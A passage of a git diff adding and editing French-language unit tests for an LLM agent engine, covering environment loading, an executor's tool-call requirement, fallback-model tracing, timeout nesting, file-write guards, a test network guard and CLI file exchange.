env_bootstrap.bootstrap_env(fichier) + + assert premier is True + assert second is True + assert compteur["appels"] == 1 + + +def test_variable_existante_non_ecrasee(tmp_path, monkeypatch): + """Une variable déjà dans os.environ n'est pas écrasée par la valeur du .env.""" + monkeypatch.setenv("CLE_PRESENTE", "valeur_env") + fichier = tmp_path / ".env" + fichier.write_text( + "CLE_PRESENTE=valeur_env_obsolete\nCLE_NOUVELLE=valeur_fichier\n", + encoding="utf-8", + ) + + env_bootstrap.bootstrap_env(fichier) + + # override=False : la valeur d'origine de l'environnement reste prioritaire. + assert os.environ["CLE_PRESENTE"] == "valeur_env" + # Les clés absentes de l'environnement sont bien chargées depuis le .env. + assert os.environ["CLE_NOUVELLE"] == "valeur_fichier" + + +def test_env_absent_aucune_exception_et_chemin_nomme(tmp_path, caplog): + """.env absent → aucune exception, et un message nomme le chemin cherché.""" + chemin_absent = tmp_path / "absent.env" + + with caplog.at_level(logging.WARNING, logger="core.env_bootstrap"): + resultat = env_bootstrap.bootstrap_env(chemin_absent) + + assert resultat is False + assert any( + "Aucun fichier .env trouvé" in r.message and str(chemin_absent) in r.message + for r in caplog.records + ) + + +def test_retour_vrai_quand_fichier_present(tmp_path): + """bootstrap_env retourne True quand le fichier existe et est chargé.""" + fichier = tmp_path / ".env" + fichier.write_text("CLE_TEST=1\n", encoding="utf-8") + + assert env_bootstrap.bootstrap_env(fichier) is True + + +def test_message_cle_absente_sans_env(tmp_path): + """Sans .env : le diagnostic nomme le chemin cherché (pas le .env accusé).""" + env_bootstrap.bootstrap_env(tmp_path / "absent.env") + + message = env_bootstrap.missing_key_message("DEEPSEEK_API_KEY") + + assert "DEEPSEEK_API_KEY" in message + assert "aucun fichier .env trouvé à" in message + assert str(env_bootstrap.ENV_FILE) in message + + +def test_message_cle_absente_avec_env_charge(tmp_path): + """.env chargé mais clé absente : le diagnostic distingue le cas.""" + fichier = tmp_path / ".env" + fichier.write_text("AUTRE_CLE=1\n", encoding="utf-8") + env_bootstrap.bootstrap_env(fichier) + + message = env_bootstrap.missing_key_message("DEEPSEEK_API_KEY") + + assert "DEEPSEEK_API_KEY" in message + assert "chargé" in message + assert "aucun fichier .env trouvé" not in message + + +def test_llm_gateway_passe_par_le_bootstrap(): + """core.llm_gateway importe le bootstrap ancré sur la racine du dépôt.""" + import core.llm_gateway as gateway_module + + assert gateway_module.bootstrap_env is env_bootstrap.bootstrap_env + # Le chemin chargé est celui de la racine du dépôt, résolu depuis __file__. + assert env_bootstrap.ENV_FILE == Path(gateway_module.__file__).resolve().parents[1] / ".env" diff --git a/tests/unit/test_executor_exigence_outil.py b/tests/unit/test_executor_exigence_outil.py new file mode 100644 index 0000000..c3745ea --- /dev/null +++ b/tests/unit/test_executor_exigence_outil.py @@ -0,0 +1,138 @@ +""" +tests/unit/test_executor_exigence_outil.py — « Aucun outil appelé » (#T274). + +Le contrôle de l'ExecutorAgent qui refuse une tâche terminée sans appel d'outil +existe pour une bonne raison : une MUTATION sans outil, c'est un agent qui +prétend avoir travaillé. Mais il listait aussi des SUBSTANTIFS (« fichier », +« file », « dossier », « git »), si bien que toute tâche mentionnant un fichier +devait appeler un outil — y compris une simple vérification. + +Mesuré en production le 11/08 sur `bg_4eace58a` : `write_preuve` **success**, +`read_preuve` **success**, `verify_preuve` **error** — « L'agent exécuteur n'a +appelé aucun outil » — alors que le fichier était écrit avec le contenu exact +attendu et que la donnée était dans le contexte de la tâche. Comme +`_finalize_git` exige que TOUTES les tâches soient en succès, le travail réussi +a fini en `Rollback effectué (branche éphémère détruite)`. + +Pire : le prompt système demande explicitement « Utilise DIRECTEMENT ces +contenus du contexte […] Ne fais aucun appel à 'read_file' dans ce cas ». Le +contrôle punissait le comportement que l'agent avait reçu l'ordre d'adopter. +""" + +import pytest + +from agents.executor import ExecutorAgent +from core.state import TaskPayload + +exige = ExecutorAgent.exige_un_appel_d_outil + +CONTEXTE = "Résultat 'write_file' : fichier écrit, contenu = OK-T273" + + +# ── Le cas de production ───────────────────────────────────────────────────── + +def test_verification_avec_contexte_ne_reclame_plus_d_outil(): + """Le cas exact de `verify_preuve` (11/08) : la donnée est déjà là.""" + assert exige("Vérifier que le fichier /tmp/preuve.txt contient OK-T273", CONTEXTE) is False + + +def test_verification_sans_contexte_reclame_un_outil(): + """Sans donnée en contexte, répondre sans lire reviendrait à inventer.""" + assert exige("Vérifier que le fichier /tmp/preuve.txt contient OK-T273", "") is True + + +def test_verbe_de_tete_prioritaire(): + """ + « Vérifier que le fichier a bien été créé » est une vérification. + + Sans cette règle, le « créé » de la subordonnée la classerait en mutation et + on reproduirait le bug qu'on corrige. + """ + assert exige("Vérifier que le fichier a bien été créé", CONTEXTE) is False + + +# ── Ce que le contrôle doit continuer d'attraper ───────────────────────────── + +@pytest.mark.parametrize("objectif", [ + "Créer le fichier /tmp/a.txt contenant A", + "Écris la configuration dans config.yaml", + "Supprime les fichiers temporaires", + "Exécute le script de déploiement", + "Installe la dépendance manquante", +]) +def test_mutation_exige_toujours_un_outil(objectif): + """Une mutation sans appel d'outil reste une faute, contexte ou pas.""" + assert exige(objectif, CONTEXTE) is True + + +def test_mutation_puis_verification_reste_une_mutation(): + assert exige("Créer le fichier puis vérifier son contenu", CONTEXTE) is True + + +# ── Robustesse ─────────────────────────────────────────────────────────────── + +def test_accents_indifferents(): + """Les plans générés et le vocal écrivent tantôt « vérifier », tantôt « verifier ».""" + assert exige("Verifier le contenu du fichier", CONTEXTE) is exige( + "Vérifier le contenu du fichier", CONTEXTE + ) + + +def test_objectif_neutre_n_exige_rien(): + assert exige("Raconte une blague sur les volets roulants", "") is False + + +def test_contexte_none_traite_comme_vide(): + assert exige("Vérifier le contenu du fichier", None) is True + + +def test_contexte_symbolique_ne_compte_pas(): + """Un « None » ou un mot isolé n'est pas une donnée exploitable.""" + assert exige("Vérifier le contenu du fichier", "None") is True + + +# ── Comportement de bout en bout de l'agent ────────────────────────────────── + +class _FauxProvider: + pass + + +def _agent_avec_boucle_sans_outil(monkeypatch, texte_final: str): + """Agent réel dont la boucle ReAct rend « aucun outil exécuté ».""" + from core.llm_gateway import LLMGateway + from tools.tool_registry import ToolRegistry + + agent = ExecutorAgent(llm_gateway=LLMGateway(), tool_registry=ToolRegistry(), provider_name="leger") + monkeypatch.setattr( + agent.gateway, "get_provider_for_tier", lambda tier, config: ("faux-modele", _FauxProvider()) + ) + + async def _boucle(**kwargs): + # (last_results, final_text_response, tool_executed, last_tool_error) + return [], texte_final, False, None + + monkeypatch.setattr(agent, "_execute_react_loop", _boucle) + return agent + + +@pytest.mark.asyncio +async def test_verification_sans_outil_reussit_avec_contexte(monkeypatch): + """Bout en bout : la tâche de vérification n'échoue plus à tort.""" + agent = _agent_avec_boucle_sans_outil(monkeypatch, "Le fichier contient bien OK-T273.") + update = await agent.invoke(TaskPayload( + task_objective="Vérifier que le fichier /tmp/preuve.txt contient OK-T273", + relevant_context=CONTEXTE, + )) + assert update.status == "success" + + +@pytest.mark.asyncio +async def test_mutation_sans_outil_echoue_toujours(monkeypatch): + """Contre-épreuve : le garde-fou n'a pas été désarmé.""" + agent = _agent_avec_boucle_sans_outil(monkeypatch, "J'ai créé le fichier.") + update = await agent.invoke(TaskPayload( + task_objective="Créer le fichier /tmp/preuve.txt contenant OK-T273", + relevant_context=CONTEXTE, + )) + assert update.status == "error" + assert "aucun outil" in (update.error_message or "").lower() diff --git a/tests/unit/test_fallback_provider_async.py b/tests/unit/test_fallback_provider_async.py index bb9963c..1e230ec 100644 --- a/tests/unit/test_fallback_provider_async.py +++ b/tests/unit/test_fallback_provider_async.py @@ -6,12 +6,12 @@ - applique le circuit breaker (CB ouvert → skip) - retourne le résultat du premier provider disponible """ -import asyncio +from unittest.mock import AsyncMock, MagicMock + import pytest -from unittest.mock import AsyncMock, MagicMock, patch -from core.llm.providers.deepseek import FallbackProvider from core.llm.circuit_breaker import CircuitBreaker +from core.llm.providers.deepseek import FallbackProvider def _make_provider(response="ok", fail=False): diff --git a/tests/unit/test_fallback_trace.py b/tests/unit/test_fallback_trace.py new file mode 100644 index 0000000..1a91585 --- /dev/null +++ b/tests/unit/test_fallback_trace.py @@ -0,0 +1,176 @@ +"""Tests de la traçabilité du modèle qui a répondu dans FallbackProvider (#T288). + +FallbackProvider choisit le modèle au moment de l'appel (parcours des candidats +jusqu'au premier qui aboutit). Ces tests vérifient que l'appelant peut lire, +après son appel et dans le même contexte, le nom du candidat gagnant : + +- cascade dont le 1er candidat échoue → le 2ᵉ modèle est exposé, pas le 1er ; +- exécution CONCURRENTE (asyncio.gather) → chaque tâche lit LE SIEN ; +- appel servi par le cache sémantique → aucun modèle n'est prétendu ; +- variantes structurées (sync + async) et échec total → trace vierge. +""" +import asyncio +from unittest.mock import AsyncMock, MagicMock + +import pytest + +from core.llm.circuit_breaker import CircuitBreaker +from core.llm.fallback_trace import lire_modele_repondu, marquer_modele_repondu +from core.llm.providers.deepseek import FallbackProvider + + +def _make_provider(response="ok", fail=False): + """Provider factice, sync + async, comme dans test_fallback_provider_async.py.""" + p = MagicMock() + if fail: + p.generate = MagicMock(side_effect=RuntimeError("boom")) + p.generate_async = AsyncMock(side_effect=RuntimeError("boom")) + p.generate_structured = MagicMock(side_effect=RuntimeError("boom")) + p.generate_structured_async = AsyncMock(side_effect=RuntimeError("boom")) + else: + p.generate = MagicMock(return_value=response) + p.generate_async = AsyncMock(return_value=response) + p.generate_structured = MagicMock(return_value={"result": response}) + p.generate_structured_async = AsyncMock(return_value={"result": response}) + return p + + +@pytest.fixture(autouse=True) +def _trace_vierge_et_circuits_fermes(): + """Chaque test repart d'une trace vierge et de circuits fermés.""" + marquer_modele_repondu(None) + CircuitBreaker._registry.clear() + yield + marquer_modele_repondu(None) + CircuitBreaker._registry.clear() + + +# ── Bascule de cascade : le modèle exposé est le GAGNANT, pas le premier ───── + +def test_generate_sync_expose_le_modele_apres_bascule(): + """1er candidat en échec → l'appelant lit le nom du 2ᵉ, pas « tier-moyen ».""" + p1 = _make_provider(fail=True) + p2 = _make_provider("Réponse du modèle de secours, assez longue pour le seuil.") + fb = FallbackProvider([("modele-echec", p1), ("modele-secours", p2)]) + + res = fb.generate("sys", "user", use_semantic_cache=False) + + assert "secours" in res + assert lire_modele_repondu() == "modele-secours" + + +@pytest.mark.asyncio +async def test_generate_async_expose_le_modele_apres_bascule(): + p1 = _make_provider(fail=True) + p2 = _make_provider("Réponse du modèle de secours, assez longue pour le seuil.") + fb = FallbackProvider([("modele-echec", p1), ("modele-secours", p2)]) + + res = await fb.generate_async("sys", "user", use_semantic_cache=False) + + assert "secours" in res + assert lire_modele_repondu() == "modele-secours" + + +# ── CONCURRENCE : le test qui donne sa valeur à la PR ──────────────────────── + +@pytest.mark.asyncio +async def test_concurrence_chaque_tache_lit_son_modele(): + """Deux cascades concurrentes (asyncio.gather) : chacun lit LE SIEN. + + Avec un attribut d'instance (contre-exemple #T288), les deux tâches + liraient le dernier modèle écrit — au moins une assertion échouerait. La + ContextVar, copiée par tâche au moment de sa création, garantit + l'isolation : c'est exactement le mode d'exécution du DAG + (asyncio.create_task par nœud, core/dag_runner.py). + """ + fb_alpha = FallbackProvider([ + ("modele-alpha", _make_provider("Réponse du modèle alpha, assez longue.")), + ]) + fb_beta = FallbackProvider([ + ("modele-beta", _make_provider("Réponse du modèle beta, assez longue.")), + ]) + + async def appeler(fb: FallbackProvider, attendu: str) -> tuple[bool, str | None]: + res = await fb.generate_async("sys", "user", use_semantic_cache=False) + return attendu in res, lire_modele_repondu() + + (ok_alpha, modele_alpha), (ok_beta, modele_beta) = await asyncio.gather( + appeler(fb_alpha, "alpha"), + appeler(fb_beta, "beta"), + ) + + assert ok_alpha and ok_beta + assert modele_alpha == "modele-alpha" + assert modele_beta == "modele-beta" + + +# ── Cache sémantique : aucun modèle ne peut être prétendu ──────────────────── + +class _FauxCache: + """Cache sémantique factice (hit systématique), sans ChromaDB ni réseau.""" + + def __init__(self, reponse: str): + self._reponse = reponse + + @property + def enabled(self) -> bool: + return True + + def get(self, prompt: str) -> str: + return self._reponse + + def put(self, prompt: str, response: str, model: str | None = None) -> None: + pass + + +def test_cache_semantique_ne_pretend_pas_qu_un_modele_a_repondu(monkeypatch): + """Un hit du cache n'expose AUCUN modèle, même après un appel réel précédent.""" + import core.semantic_cache as sc_mod + + # 1er appel réel : le modèle qui répond est bien enregistré… + reel = _make_provider("Réponse du modèle réel, suffisamment longue pour le seuil.") + fb_reel = FallbackProvider([("modele-reel", reel)]) + fb_reel.generate("sys", "question", use_semantic_cache=False) + assert lire_modele_repondu() == "modele-reel" + + # …mais le 2ᵉ appel, servi par le cache sémantique, ne doit PAS réexposer + # ce modèle : la trace repart de zéro à chaque appel (#T288). + cache = _FauxCache("Réponse servie par le cache, aucun modèle n'a répondu.") + monkeypatch.setattr(sc_mod, "get_semantic_cache", lambda: cache) + jamais_appele = _make_provider("ce provider ne doit jamais servir") + fb_cache = FallbackProvider([("modele-jamais-appele", jamais_appele)]) + fb_cache.generate("sys", "question") + + assert jamais_appele.generate.call_count == 0 # le cache a bien servi l'appel + assert lire_modele_repondu() is None + + +# ── Variantes structurées et échec total ───────────────────────────────────── + +def test_generate_structured_expose_le_modele(): + fb = FallbackProvider([("modele-structure", _make_provider("structuré"))]) + + res = fb.generate_structured("sys", "user", schema={}) + + assert res == {"result": "structuré"} + assert lire_modele_repondu() == "modele-structure" + + +@pytest.mark.asyncio +async def test_generate_structured_async_expose_le_modele(): + fb = FallbackProvider([("modele-structure-async", _make_provider("structuré"))]) + + res = await fb.generate_structured_async("sys", "user", schema={}) + + assert res == {"result": "structuré"} + assert lire_modele_repondu() == "modele-structure-async" + + +def test_echec_total_laisse_la_trace_vierge(): + """Aucun candidat ne répond : la trace reste None, sans résidu d'appel passé.""" + fb = FallbackProvider([("modele-mort", _make_provider(fail=True))]) + + with pytest.raises(RuntimeError): + fb.generate("sys", "user", use_semantic_cache=False) + + assert lire_modele_repondu() is None diff --git a/tests/unit/test_fenetres_execution.py b/tests/unit/test_fenetres_execution.py new file mode 100644 index 0000000..f5e8d53 --- /dev/null +++ b/tests/unit/test_fenetres_execution.py @@ -0,0 +1,95 @@ +""" +tests/unit/test_fenetres_execution.py — Emboîtement des fenêtres de temps (#T277). + +La règle, une seule : **toute fenêtre englobante doit être strictement plus +longue que ce qu'elle englobe**. Le moteur l'a violée trois fois, toujours de la +même façon — un mécanisme interne tué de l'extérieur avant d'avoir pu s'exercer : + +- #T267 : approbation humaine de 300 s dans une session de 120 s → 8 demandes en + 24 h, 0 résolution, jamais une seule approbation possible ; +- #T277 : read timeout provider de 120 s dans un Planner borné à 90 s → la + cascade ne pouvait pas basculer sur le modèle suivant (mesuré deux fois le + 11/08 : une seule tentative, plan vide) ; +- le même Planner (90 s) dans une session de fond de 120 s → 30 s pour le DAG, + la revue et la finalisation. + +Ces tests existent pour qu'un futur ajustement d'une valeur ne puisse plus +casser les autres en silence. +""" + +import pytest + +from core.fenetres_execution import ( + duree_planner_s, + duree_session_fond_s, + duree_session_interactive_s, + duree_tentative_llm_s, + verifier_emboitement, +) + + +def test_hierarchie_respectee_par_defaut(): + """Aucune violation avec les valeurs livrées.""" + assert verifier_emboitement() == [] + + +def test_planner_permet_au_moins_deux_tentatives(): + """ + C'est LE point du correctif : la cascade doit pouvoir basculer. + + Avec 90 s de fenêtre et 120 s par tentative, le second modèle n'était jamais + essayé — la cascade réparée par #T265 restait décorative sur les timeouts. + """ + assert duree_planner_s() >= duree_tentative_llm_s() * 2 + + +def test_session_de_fond_contient_le_planner_avec_marge(): + """Il doit rester du temps pour le DAG une fois le plan produit.""" + assert duree_session_fond_s() > duree_planner_s() + # Marge utile, pas symbolique : au moins autant de temps que la planification. + assert duree_session_fond_s() - duree_planner_s() >= duree_planner_s() + + +def test_surcharge_env_respectee(monkeypatch): + monkeypatch.setenv("MOTEUR_PLANNER_TIMEOUT_S", "400") + assert duree_planner_s() == 400.0 + + +def test_surcharge_trop_courte_refusee(monkeypatch): + """ + Une valeur inférieure à UNE tentative reproduirait exactement le bug. + + On la refuse au lieu de l'appliquer : un réglage qui neutralise la cascade + ne doit pas pouvoir être posé par inadvertance. + """ + monkeypatch.setenv("MOTEUR_PLANNER_TIMEOUT_S", "30") + assert duree_planner_s() >= duree_tentative_llm_s() * 2 + + +def test_surcharge_illisible_ignoree(monkeypatch): + monkeypatch.setenv("MOTEUR_PLANNER_TIMEOUT_S", "vite") + assert duree_planner_s() >= duree_tentative_llm_s() * 2 + + +def test_violation_detectee(monkeypatch): + """Contre-épreuve : le vérificateur doit voir une hiérarchie cassée.""" + monkeypatch.setattr("core.fenetres_execution.duree_session_fond_s", lambda: 60.0) + violations = verifier_emboitement() + assert violations + assert any("Session de fond" in v for v in violations) + + +def test_session_interactive_inchangee(): + """ + Arbitrage produit assumé : un humain attend, on ne l'allonge pas. + + Ce test documente la valeur autant qu'il la verrouille — la changer doit + être un acte délibéré. + """ + assert duree_session_interactive_s() == 120.0 + + +@pytest.mark.parametrize("famille", ["gemini", "openai_compat", "anthropic"]) +def test_duree_tentative_lue_depuis_les_timeouts_reels(famille): + """La durée vient de `core/llm_timeouts`, pas d'une constante recopiée.""" + assert duree_tentative_llm_s(famille) > 0 diff --git a/tests/unit/test_file_write_guard.py b/tests/unit/test_file_write_guard.py new file mode 100644 index 0000000..1bc18df --- /dev/null +++ b/tests/unit/test_file_write_guard.py @@ -0,0 +1,101 @@ +""" +tests/unit/test_file_write_guard.py — Verrous d'écriture et garde +anti-lost-update de tools/system.py (#T230). + +Scénarios couverts : + - création sans lecture préalable autorisée ; + - lecture → écriture autorisée ; + - écriture refusée si le fichier a changé depuis la lecture (relecture OK) ; + - réécriture sans relecture refusée (l'agent n'a pas vu le nouvel état) ; + - écritures concurrentes sérialisées par le verrou par chemin ; + - la sécurité du workspace reste inchangée. +""" +import threading + +import pytest + +from tools import system as system_tools + + +@pytest.fixture() +def workspace(tmp_path, monkeypatch): + """Redirige le workspace autorisé vers tmp_path et repart d'empreintes vierges.""" + monkeypatch.setattr(system_tools, "_WORKSPACE_ROOT", str(tmp_path)) + monkeypatch.setattr(system_tools, "_GUARD_ENABLED", True) + system_tools._seen_fingerprints.clear() + yield tmp_path + system_tools._seen_fingerprints.clear() + + +def test_creation_sans_lecture_autorisee(workspace): + cible = workspace / "nouveau.txt" + resultat = system_tools.write_file(str(cible), "v1") + assert resultat.startswith("Succès") + assert cible.read_text(encoding="utf-8") == "v1" + + +def test_lecture_puis_ecriture_autorisee(workspace): + cible = workspace / "f.txt" + cible.write_text("v1", encoding="utf-8") + assert not system_tools.read_file(str(cible)).startswith("Erreur") + assert system_tools.write_file(str(cible), "v2").startswith("Succès") + assert cible.read_text(encoding="utf-8") == "v2" + + +def test_ecriture_refusee_si_modification_depuis_lecture(workspace): + cible = workspace / "f.txt" + cible.write_text("v1", encoding="utf-8") + system_tools.read_file(str(cible)) + # Modification externe (autre tâche DAG, autre processus…) + cible.write_text("modifié ailleurs", encoding="utf-8") + resultat = system_tools.write_file(str(cible), "v2") + assert "modifié depuis la dernière lecture" in resultat + assert cible.read_text(encoding="utf-8") == "modifié ailleurs" + # La relecture recharge l'empreinte : l'écriture repasse. + system_tools.read_file(str(cible)) + assert system_tools.write_file(str(cible), "v2").startswith("Succès") + assert cible.read_text(encoding="utf-8") == "v2" + + +def test_reecriture_sans_relecture_refusee(workspace): + """Le lost-update historique : lire, écrire, puis réécraser sans relire.""" + cible = workspace / "f.txt" + cible.write_text("v1", encoding="utf-8") + system_tools.read_file(str(cible)) + assert system_tools.write_file(str(cible), "v2").startswith("Succès") + resultat = system_tools.write_file(str(cible), "v3") + assert "modifié depuis la dernière lecture" in resultat + assert cible.read_text(encoding="utf-8") == "v2" + + +def test_ecritures_concurrentes_serialisees(workspace): + """Garde désactivée pour isoler le verrou : le contenu final est l'UN des + deux blocs complets, jamais un entrelacement des deux.""" + cible = workspace / "c.txt" + bloc_a = "AAAA\n" * 20_000 + bloc_b = "BBBB\n" * 20_000 + cible.write_text("initial", encoding="utf-8") + monkeypatch_garde = system_tools._GUARD_ENABLED + system_tools._GUARD_ENABLED = False + try: + barriere = threading.Barrier(2) + + def ecrire(contenu): + barriere.wait() + system_tools.write_file(str(cible), contenu) + + t1 = threading.Thread(target=ecrire, args=(bloc_a,)) + t2 = threading.Thread(target=ecrire, args=(bloc_b,)) + t1.start(), t2.start() + t1.join(), t2.join() + finally: + system_tools._GUARD_ENABLED = monkeypatch_garde + final = cible.read_text(encoding="utf-8") + assert final in (bloc_a, bloc_b), "le verrou par chemin doit sérialiser les écritures" + + +def test_securite_workspace_inchangee(workspace): + """Le refus des chemins hors workspace ne doit pas être affecté.""" + hors_workspace = str(workspace.parent / "hors_workspace.txt") + assert system_tools.write_file(hors_workspace, "x").startswith("Erreur de sécurité") + assert system_tools.read_file(hors_workspace).startswith("Erreur de sécurité") diff --git a/tests/unit/test_garde_fou_reseau.py b/tests/unit/test_garde_fou_reseau.py new file mode 100644 index 0000000..71ae4e8 --- /dev/null +++ b/tests/unit/test_garde_fou_reseau.py @@ -0,0 +1,28 @@ +"""Preuve que le garde-fou réseau (tests/unit/conftest.py) mord réellement. + +Ce test n'a pas besoin d'exemption : sa tentative de connexion EST le scénario +que le garde-fou doit bloquer (hôte externe, hors loopback). Si le garde-fou +saute (ou est supprimé), le connect vers 192.0.2.1:443 échoue avec une OSError +(adresse TEST-NET non routable, RFC 5737) au lieu du Failed attendu et ce test +devient rouge — la suite ne peut plus redevenir « verte » en silence. +""" + +import socket + +import pytest + +from tests.unit.conftest import _ADRESSE_PREUVE + + +def test_une_connexion_reseau_echoue_avec_message_explicite(): + """Une tentative de connexion vers un hôte externe doit échouer.""" + with pytest.raises(pytest.fail.Exception) as excinfo: + socket.socket().connect(_ADRESSE_PREUVE) + + msg = str(excinfo.value) + # Le message nomme le test fautif et la destination contactée… + assert "test_une_connexion_reseau_echoue_avec_message_explicite" in msg + assert "192.0.2.1:443" in msg + # …et indique la marche à suivre (mock ou marqueur `live`). + assert "unittest.mock.patch" in msg + assert "@pytest.mark.live" in msg diff --git a/tests/unit/test_gemini_cli_ipc.py b/tests/unit/test_gemini_cli_ipc.py new file mode 100644 index 0000000..9044e14 --- /dev/null +++ b/tests/unit/test_gemini_cli_ipc.py @@ -0,0 +1,193 @@ +""" +tests/unit/test_gemini_cli_ipc.py — IPC fichier avec la CLI Antigravity. + +`GeminiCLIProvider` ne parle pas à la CLI par stdout mais par un fichier +d'échange : le prompt dicte un nom de fichier, la CLI y écrit sa réponse, le +provider le lit puis le supprime. Ce nom était FIXE et relatif au CWD +(`antigravity_exchange_temp.txt`), alors que les providers tournent en parallèle +(`generate_async` → `asyncio.to_thread`) : deux appels concurrents se +supprimaient et se relisaient mutuellement (réponses croisées), et un appel parti +en timeout laissait sa réponse être lue par l'appel suivant. + +Ces tests verrouillent le nom unique par appel et le nettoyage des fichiers +temporaires. La CLI est simulée : le faux `run_cli_command` relit le nom de +fichier DANS le prompt qu'on lui passe — exactement comme le ferait la vraie CLI +— ce qui vérifie au passage que le contrat d'intégration est inchangé. +""" + +import os +import re +import threading +from concurrent.futures import ThreadPoolExecutor + +import pytest + +from core.llm.providers import gemini as gemini_module +from core.llm.providers.gemini import _LEGACY_EXCHANGE_FILE, GeminiCLIProvider + + +class _ResultatCLI: + """Sosie de subprocess.CompletedProcess.""" + + def __init__(self, stdout: str = "", stderr: str = "", returncode: int = 0): + self.stdout = stdout + self.stderr = stderr + self.returncode = returncode + + +def _nom_fichier_demande(cmd: list) -> str: + """Extrait le nom du fichier d'échange dicté par le prompt (comme la CLI).""" + dernier = cmd[-1] + if dernier.startswith("@"): # prompt long : passé par fichier + with open(dernier[1:], encoding="utf-8") as f: + dernier = f.read() + correspondance = re.search(r"fichier texte nommé '([^']+)'", dernier) + assert correspondance, "le prompt ne dicte aucun nom de fichier d'échange" + return correspondance.group(1) + + +@pytest.fixture(autouse=True) +def _espace_de_travail_isole(tmp_path, monkeypatch): + """Le fichier d'échange est relatif au CWD : on isole chaque test.""" + monkeypatch.chdir(tmp_path) + monkeypatch.setattr( + "core.token_tracker.record_usage", + lambda *a, **kw: None, + ) + return tmp_path + + +@pytest.fixture +def provider(): + return GeminiCLIProvider() + + +def test_nom_de_fichier_unique_par_appel(provider, monkeypatch): + noms_vus = [] + + def _faux_cli(cmd, **kwargs): + nom = _nom_fichier_demande(cmd) + noms_vus.append(nom) + with open(nom, "w", encoding="utf-8") as f: + f.write("réponse") + return _ResultatCLI() + + monkeypatch.setattr(gemini_module, "run_cli_command", _faux_cli) + + provider.generate("sys", "premier") + provider.generate("sys", "second") + + assert len(set(noms_vus)) == 2, f"nom d'échange réutilisé entre deux appels : {noms_vus}" + assert all(n != _LEGACY_EXCHANGE_FILE for n in noms_vus) + + +def test_appels_concurrents_ne_croisent_pas_les_reponses(provider, monkeypatch): + """Régression centrale : les deux appels écrivent AVANT que l'un ne lise. + + Avec un nom de fichier partagé, la seconde écriture écrase la première et les + deux appels retournent la même réponse. Le barrier rend l'échec déterministe. + """ + barriere = threading.Barrier(2, timeout=10) + + def _faux_cli(cmd, **kwargs): + nom = _nom_fichier_demande(cmd) + # Le marqueur identifie l'appel d'origine. + marqueur = re.search(r"MARQUEUR-(\w+)", cmd[-1]).group(1) + with open(nom, "w", encoding="utf-8") as f: + f.write(f"réponse pour {marqueur}") + barriere.wait() # personne ne lit tant que les deux n'ont pas écrit + return _ResultatCLI() + + monkeypatch.setattr(gemini_module, "run_cli_command", _faux_cli) + + with ThreadPoolExecutor(max_workers=2) as executor: + futurs = [ + executor.submit(provider.generate, "sys", f"MARQUEUR-{marqueur}") + for marqueur in ("alpha", "beta") + ] + resultats = [f.result(timeout=15) for f in futurs] + + assert sorted(resultats) == ["réponse pour alpha", "réponse pour beta"] + + +def test_fichier_dechange_supprime_apres_lecture(provider, monkeypatch, _espace_de_travail_isole): + def _faux_cli(cmd, **kwargs): + with open(_nom_fichier_demande(cmd), "w", encoding="utf-8") as f: + f.write("réponse") + return _ResultatCLI() + + monkeypatch.setattr(gemini_module, "run_cli_command", _faux_cli) + assert provider.generate("sys", "user") == "réponse" + + restants = list(_espace_de_travail_isole.glob("antigravity_exchange_temp*")) + assert restants == [], f"fichiers d'échange laissés derrière : {restants}" + + +def test_fichier_dechange_supprime_meme_si_la_cli_echoue(provider, monkeypatch, _espace_de_travail_isole): + """Un timeout laissait le fichier en place ; il empoisonnait l'appel suivant.""" + + def _faux_cli_ko(cmd, **kwargs): + with open(_nom_fichier_demande(cmd), "w", encoding="utf-8") as f: + f.write("réponse partielle") + raise TimeoutError("CLI expirée") + + monkeypatch.setattr(gemini_module, "run_cli_command", _faux_cli_ko) + with pytest.raises(TimeoutError): + provider.generate("sys", "user") + + restants = list(_espace_de_travail_isole.glob("antigravity_exchange_temp*")) + assert restants == [], f"fichiers d'échange laissés derrière : {restants}" + + +def test_fichier_de_prompt_long_supprime(provider, monkeypatch): + """Le fichier temp du prompt >8000 chars était créé avec delete=False et fuyait.""" + chemins_prompt = [] + + def _faux_cli(cmd, **kwargs): + assert cmd[-1].startswith("@"), "un prompt long doit passer par un fichier" + chemins_prompt.append(cmd[-1][1:]) + with open(_nom_fichier_demande(cmd), "w", encoding="utf-8") as f: + f.write("réponse") + return _ResultatCLI() + + monkeypatch.setattr(gemini_module, "run_cli_command", _faux_cli) + provider.generate("sys", "x" * 9000) + + assert chemins_prompt, "le chemin du prompt long n'a pas été capturé" + assert not os.path.exists(chemins_prompt[0]) + + +def test_repli_sur_le_nom_historique(provider, monkeypatch): + """Si la CLI ignore le nom demandé, on lit quand même sa réponse.""" + + def _faux_cli_legacy(cmd, **kwargs): + with open(_LEGACY_EXCHANGE_FILE, "w", encoding="utf-8") as f: + f.write("réponse via nom historique") + return _ResultatCLI() + + monkeypatch.setattr(gemini_module, "run_cli_command", _faux_cli_legacy) + assert provider.generate("sys", "user") == "réponse via nom historique" + assert not os.path.exists(_LEGACY_EXCHANGE_FILE) + + +def test_residu_historique_anterieur_non_lu_comme_reponse(provider, monkeypatch): + """Un fichier historique laissé par un appel précédent ne doit pas être servi.""" + with open(_LEGACY_EXCHANGE_FILE, "w", encoding="utf-8") as f: + f.write("vieille réponse d'un autre appel") + + def _faux_cli_stdout(cmd, **kwargs): + return _ResultatCLI(stdout="réponse fraîche par stdout") + + monkeypatch.setattr(gemini_module, "run_cli_command", _faux_cli_stdout) + assert provider.generate("sys", "user") == "réponse fraîche par stdout" + + +def test_repli_stdout_puis_erreur_si_rien(provider, monkeypatch): + """Comportement historique conservé : ni fichier ni stdout ⇒ RuntimeError.""" + + def _faux_cli_muet(cmd, **kwargs): + return _ResultatCLI(stdout="", stderr="boom", returncode=1) + + monkeypatch.setattr(gemini_module, "run_cli_command", _faux_cli_muet) + with pytest.raises(RuntimeError, match="Antigravity CLI error"): + provider.generate("sys", "user") diff --git a/tests/unit/test_gemini_native.py b/tests/unit/test_gemini_native.py index f979f87..1fd828b 100644 --- a/tests/unit/test_gemini_native.py +++ b/tests/unit/test_gemini_native.py @@ -10,18 +10,18 @@ - Fallback si cache expiré """ -import sys -import os import json +import os +import sys import time +from unittest.mock import MagicMock, Mock, patch + import pytest -from unittest.mock import MagicMock, patch, Mock # Ajout du répertoire parent au PYTHONPATH sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))) -from core.gemini_native import GeminiNativeProvider, GeminiCacheManager - +from core.gemini_native import GeminiCacheManager, GeminiNativeProvider # ────────────────────────────────────────────────────────────────── # Fixtures @@ -199,6 +199,149 @@ def test_no_tool_calls(self, provider): assert result is None +# 